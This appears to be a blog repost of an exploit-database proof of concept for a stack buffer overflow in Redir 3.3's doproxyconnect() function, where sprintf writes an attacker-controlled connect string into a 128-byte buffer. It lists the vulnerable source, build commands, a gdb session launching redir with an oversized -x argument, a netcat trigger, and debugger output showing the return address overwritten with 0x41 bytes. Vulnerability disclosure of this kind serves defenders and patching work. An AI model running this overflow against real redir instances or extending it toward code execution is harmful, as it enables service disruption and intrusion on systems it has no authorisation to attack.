Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86381250

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Redir 3.3 - Denial of Service (PoC)
# Date: 2020-01-14
# Exploit Author: hieubl from HPT Cyber Security
# Vendor Homepage: https://github.com/troglobit/redir
# Software Link: https://github.com/troglobit/redir
# Version: 3.3
# Tested on: Kali GNU/Linux Rolling 2019.4
# CVE : [if applicable]

The source code of redir.c contains doproxyconnect() function which
has the stack overflow vulnerability:

void doproxyconnect(int socket)
{
	int x;
	char buf[128];

	/* write CONNECT string to proxy */
	sprintf((char *)&buf, "CONNECT %s HTTP/1.0\n\n", connect_str);
	x = write(socket, (char *)&buf, strlen(buf));
	if (x < 1) {
		syslog(LOG_ERR, "Failed writing to proxy: %s", strerror(errno));
		exit(1);
	}
	/* now read result */
	x = read(socket, (char *)&buf, sizeof(buf));
	if (x < 1) {
		syslog(LOG_ERR, "Failed reading reply from proxy: %s", strerror(errno));
		exit(1);
	}
	/* no more error checking for now -- something should be added later */
	/* HTTP/1.0 200 Connection established */
}

Download and build:
# git clone https://github.com/troglobit/redir.git
# cd redir
# ./autogen.sh
# ./configure
# make

Proof of Concept:
  In 1st terminal:
    # gdb -q ./redir
    # set follow-fork-mode child
    # r -x AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
:1234 hpt.vn:80

  In 2nd terminal:
    # nc localhost 1234

  After that, the program in 1st terminal will crash because of buffer
overflow vulnerability.
    ...
    ► 0x5555555571b0 <doproxyconnect+144>    ret    <0x4141414141414141>
    ...
    Program received signal SIGSEGV (fault address 0x0)
    pwndbg>